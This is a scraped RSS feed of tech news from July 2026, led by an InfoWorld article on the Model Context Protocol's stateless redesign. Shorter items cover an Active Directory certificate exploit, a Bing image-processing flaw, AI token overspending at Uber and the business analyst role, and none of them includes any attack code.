<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Certighost Exploit Lets Low-Privileged Active Directory Users Impersonate a Domain Controller]]></title>
<description><![CDATA[Researchers H0j3n and Aniq Fakhrul published a working exploit on July 24 that lets a low-privileged Active Directory user obtain a certificate for a Domain Controller and authenticate as that machine. They codenamed the flaw Certighost. Because Domain Controller accounts…
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The post Ce...]]></description>
<link>https://tsecurity.de/de/3691870/it-security-nachrichten/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/</link>
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<pubDate>Fri, 24 Jul 2026 17:07:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Researchers H0j3n and Aniq Fakhrul published a working exploit on July 24 that lets a low-privileged Active Directory user obtain a certificate for a Domain Controller and authenticate as that machine. They codenamed the flaw Certighost. Because Domain Controller accounts…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/">Certighost Exploit Lets Low-Privileged Active Directory Users Impersonate a Domain Controller</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Certighost Exploit Lets Low-Privileged Active Directory Users Impersonate a Domain Controller]]></title>
<description><![CDATA[Researchers H0j3n and Aniq Fakhrul published a working exploit on July 24 that lets a low-privileged Active Directory user obtain a certificate for a Domain Controller and authenticate as that machine.

They codenamed the flaw Certighost. Because Domain Controller accounts carry directory replica...]]></description>
<link>https://tsecurity.de/de/3691867/it-security-nachrichten/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/</link>
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<pubDate>Fri, 24 Jul 2026 17:04:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers H0j3n and Aniq Fakhrul published a working exploit on July 24 that lets a low-privileged Active Directory user obtain a certificate for a Domain Controller and authenticate as that machine.

They codenamed the flaw Certighost. Because Domain Controller accounts carry directory replication rights, the resulting Kerberos credential can retrieve the krbtgt secret through DCSync.]]></content:encoded>
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<title><![CDATA[Rethinking the transport layer for AI-first architecture]]></title>
<description><![CDATA[The need to re-engineer the entire transport layer to support AI-first architecture.]]></description>
<link>https://tsecurity.de/de/3691771/it-nachrichten/rethinking-the-transport-layer-for-ai-first-architecture/</link>
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<pubDate>Fri, 24 Jul 2026 16:20:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The need to re-engineer the entire transport layer to support AI-first architecture.]]></content:encoded>
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<title><![CDATA[Bing Images Flaws Let Crafted SVGs Run Commands as SYSTEM on Microsoft's Servers]]></title>
<description><![CDATA[A crafted SVG submitted to Bing's image search ran commands as NT AUTHORITY\SYSTEM on Microsoft's production image-processing workers, and as root on the Linux machines in the same fleet.

XBOW's testing got the same result on workers across different hosts and network ranges, so the problem sat ...]]></description>
<link>https://tsecurity.de/de/3691641/it-security-nachrichten/bing-images-flaws-let-crafted-svgs-run-commands-as-system-on-microsofts-servers/</link>
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<pubDate>Fri, 24 Jul 2026 15:11:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A crafted SVG submitted to Bing's image search ran commands as NT AUTHORITY\SYSTEM on Microsoft's production image-processing workers, and as root on the Linux machines in the same fleet.

XBOW's testing got the same result on workers across different hosts and network ranges, so the problem sat in Bing's image tier, not on one bad machine. Microsoft issued two critical CVEs, CVE-2026-32194 and]]></content:encoded>
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<title><![CDATA[Bis April 2028: Anlasslose Chatkontrolle tritt wieder in Kraft - Golem.de]]></title>
<description><![CDATA[KI-Einsatz in der IT-Sicherheit: Pentesting, Schwachstellenscans, Reporting – virtueller · Excel at a glance: basics to automation (E-learning in ...]]></description>
<link>https://tsecurity.de/de/3691594/it-security-nachrichten/bis-april-2028-anlasslose-chatkontrolle-tritt-wieder-in-kraft-golemde/</link>
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<pubDate>Fri, 24 Jul 2026 14:59:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[KI-Einsatz in der <b>IT</b>-<b>Sicherheit</b>: Pentesting, Schwachstellenscans, Reporting – virtueller · Excel at a glance: basics to automation (E-learning in ...]]></content:encoded>
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<title><![CDATA[So verlieren Hacker die Freude an Machine Identity-Angriffen - it-daily.net]]></title>
<description><![CDATA[Der Sicherheitsdienstleister Ontinue warnt gegenüber it-daily.net vor automatisierten Angriffen und nennt Gegenmaßnahmen. Service Principals sind ...]]></description>
<link>https://tsecurity.de/de/3691590/it-security-nachrichten/so-verlieren-hacker-die-freude-an-machine-identity-angriffen-it-dailynet/</link>
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<pubDate>Fri, 24 Jul 2026 14:59:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der Sicherheitsdienstleister Ontinue warnt gegenüber <b>it</b>-daily.net vor automatisierten Angriffen und nennt Gegenmaßnahmen. Service Principals sind ...]]></content:encoded>
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<title><![CDATA[5 Key Concepts Behind Agentic AI Every Engineer Must Understand]]></title>
<description><![CDATA[This article walks through and explains the five ideas that actually hold agentic systems together.]]></description>
<link>https://tsecurity.de/de/3691540/ai-nachrichten/5-key-concepts-behind-agentic-ai-every-engineer-must-understand/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691540/ai-nachrichten/5-key-concepts-behind-agentic-ai-every-engineer-must-understand/</guid>
<pubDate>Fri, 24 Jul 2026 14:34:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This article walks through and explains the five ideas that actually hold agentic systems together.]]></content:encoded>
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<title><![CDATA[Should you use AI for a task? Here’s a simple way to decide | Bruce Schneier]]></title>
<description><![CDATA[Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gymI teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come at no surprise to you that my students regularly use AI to complete th...]]></description>
<link>https://tsecurity.de/de/3691471/ai-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691471/ai-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/</guid>
<pubDate>Fri, 24 Jul 2026 14:06:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gym</p><p>I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come at no surprise to you that my students regularly <a href="https://www.insidehighered.com/news/faculty/learning-assessment/2026/07/08/brown-professor-suspects-most-his-class-used-ai-cheat">use AI</a> to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?</p><p>The best way I’ve found to explain the dilemma <a href="https://danielmiessler.com/blog/keep-the-robots-out-of-the-gym">comes from</a> the AI researcher Daniel Meissler: it’s the difference between work and the gym.</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/24/should-you-use-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
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<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[RefluXFS: Gefährlicher Kernel-Bug verleiht Root-Zugriff unter Linux - Golem.de]]></title>
<description><![CDATA[... Windows Server 2022 (E-Learning). E-Learning: Failover Clustering mit Windows Server 2022 (E-Learning) · zum Kurs. IT-Risikomanagement-Schulung ...]]></description>
<link>https://tsecurity.de/de/3691395/windows-server/refluxfs-gefaehrlicher-kernel-bug-verleiht-root-zugriff-unter-linux-golemde/</link>
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<pubDate>Fri, 24 Jul 2026 13:31:56 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... <b>Windows Server</b> 2022 (E-Learning). E-Learning: Failover Clustering mit <b>Windows Server</b> 2022 (E-Learning) · zum Kurs. IT-Risikomanagement-Schulung ...]]></content:encoded>
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<title><![CDATA[8 Claude Skills I Use Everyday as a DevOps Engineer]]></title>
<description><![CDATA[Sharing the skills I use for troubleshooting and other purposes as a devops engineer. They are primarily for Claude but should work with other AI tools, too.]]></description>
<link>https://tsecurity.de/de/3691391/linux-tipps/8-claude-skills-i-use-everyday-as-a-devops-engineer/</link>
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<pubDate>Fri, 24 Jul 2026 13:30:07 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sharing the skills I use for troubleshooting and other purposes as a devops engineer. They are primarily for Claude but should work with other AI tools, too.]]></content:encoded>
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<title><![CDATA[Steve Wozniak gave Apple its soul before Steve Jobs made it a hit]]></title>
<description><![CDATA[It's been over four decades since Steve Wozniak left Apple, but as co-founder and creator of the firm's first computers, Woz still fully enjoys his place in history.Steve Wozniak in 2026 - Image Credit: CBS Sunday MorningYou're an AppleInsider reader so you know Apple and inescapably, you know th...]]></description>
<link>https://tsecurity.de/de/3691389/ios-mac-os/steve-wozniak-gave-apple-its-soul-before-steve-jobs-made-it-a-hit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691389/ios-mac-os/steve-wozniak-gave-apple-its-soul-before-steve-jobs-made-it-a-hit/</guid>
<pubDate>Fri, 24 Jul 2026 13:29:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It's been over four decades since Steve Wozniak left Apple, but as co-founder and creator of the firm's first computers, Woz still fully enjoys his place in history.<br><br><div><img src="https://photos5.appleinsider.com/gallery/66972-140659-wozcbssunday-xl.jpg" alt="Older man with gray hair, full white beard, and round glasses speaking outdoors, wearing a dark jacket, with blurred trees and a house in the background"><br><span>Steve Wozniak in 2026 - Image Credit: CBS Sunday Morning</span></div><br>You're an <em>AppleInsider</em> reader so you know Apple and inescapably, you know the story. Steve Wozniak was the brilliant engineer, <a href="https://appleinsider.com/inside/steve-jobs" title="Steve Jobs" data-kpt="1">Steve Jobs</a> was the brilliant businessman, and Ronald Wayne was, er, something else.<br><br>These are the three who founded Apple in 1976, but the story of both Woz and Jobs goes back further, and really also goes deeper. Woz truly was a remarkable engineer but if he had been able to have his way, he'd have been happy giving away everything he made.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/steve-wozniak-gave-apple-its-soul-before-steve-jobs-made-it-a-hit?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245048?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



